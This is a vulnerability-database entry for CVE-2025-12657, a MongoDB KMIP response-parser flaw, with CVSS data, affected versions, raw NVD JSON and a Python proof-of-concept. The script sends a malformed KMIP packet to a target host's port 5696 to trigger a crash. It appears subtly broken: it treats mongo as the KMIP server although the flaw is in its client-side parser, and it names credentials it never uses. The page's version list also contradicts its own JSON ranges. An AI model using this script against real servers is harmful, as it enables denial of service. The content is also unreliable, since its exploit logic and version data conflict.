Security Vulnerability Report
中文
CVE-2025-12657 CVSS 5.0 MEDIUM

CVE-2025-12657

Published: 2025-11-03 21:18:50
Last Modified: 2025-12-12 17:22:02

Description

The KMIP response parser built into mongo binaries is overly tolerant of certain malformed packets, and may parse them into invalid objects. Later reads of this object can result in read access violations.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:* - VULNERABLE
MongoDB Server < 7.0.15
MongoDB Server 7.1.x < 7.1.8
MongoDB Server 7.2.x < 7.2.5
MongoDB Server 7.3.x < 7.3.2
MongoDB Server 8.0.x < 8.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12657 PoC - MongoDB KMIP Response Parser Malformed Packet # This PoC demonstrates sending a malformed KMIP response to trigger parsing vulnerability import socket import struct def create_malformed_kmip_packet(): """ Create a malformed KMIP packet that may trigger the parser vulnerability. KMIP protocol structure: Tag (4 bytes) + Type (1 byte) + Length (3 bytes) + Value """ # KMIP Tag for Response Message (0x42007B) - malformed malformed_tag = b'\x42\x00\x7B' # Invalid type field to trigger parser error invalid_type = b'\xFF' # Intentionally incorrect length malformed_length = b'\xFF\xFF\xFF' # Malformed payload that will cause parsing into invalid objects malformed_payload = b'\x00' * 100 # Padding to trigger buffer issues packet = malformed_tag + invalid_type + malformed_length + malformed_payload return packet def exploit_cve_2025_12657(target_host, target_port=5696): """ Send malformed KMIP packet to target MongoDB server. Default KMIP port is 5696. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malformed KMIP response packet packet = create_malformed_kmip_packet() sock.send(packet) # Receive response (may trigger the vulnerability on read) response = sock.recv(4096) sock.close() print(f"[+] Packet sent to {target_host}:{target_port}") print(f"[+] Response length: {len(response)} bytes") return True except Exception as e: print(f"[-] Error: {str(e)}") return False # Note: This PoC requires: # 1. Network access to MongoDB KMIP server port # 2. Valid credentials for KMIP operations # 3. MongoDB server configured with vulnerable KMIP client if __name__ == "__main__": # Example usage target = "192.168.1.100" # Replace with target IP exploit_cve_2025_12657(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12657", "sourceIdentifier": "[email protected]", "published": "2025-11-03T21:18:50.400", "lastModified": "2025-12-12T17:22:01.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The KMIP response parser built into mongo binaries is overly tolerant of certain malformed packets, and may parse them into invalid objects. Later reads of this object can result in read access violations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "7.0.22", "matchCriteriaId": "04D14A61-EE23-4728-BD62-C7E007BF06CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.10", "matchCriteriaId": "E7E659D7-7AE0-4481-B274-DE0B185C8564"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-101230", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}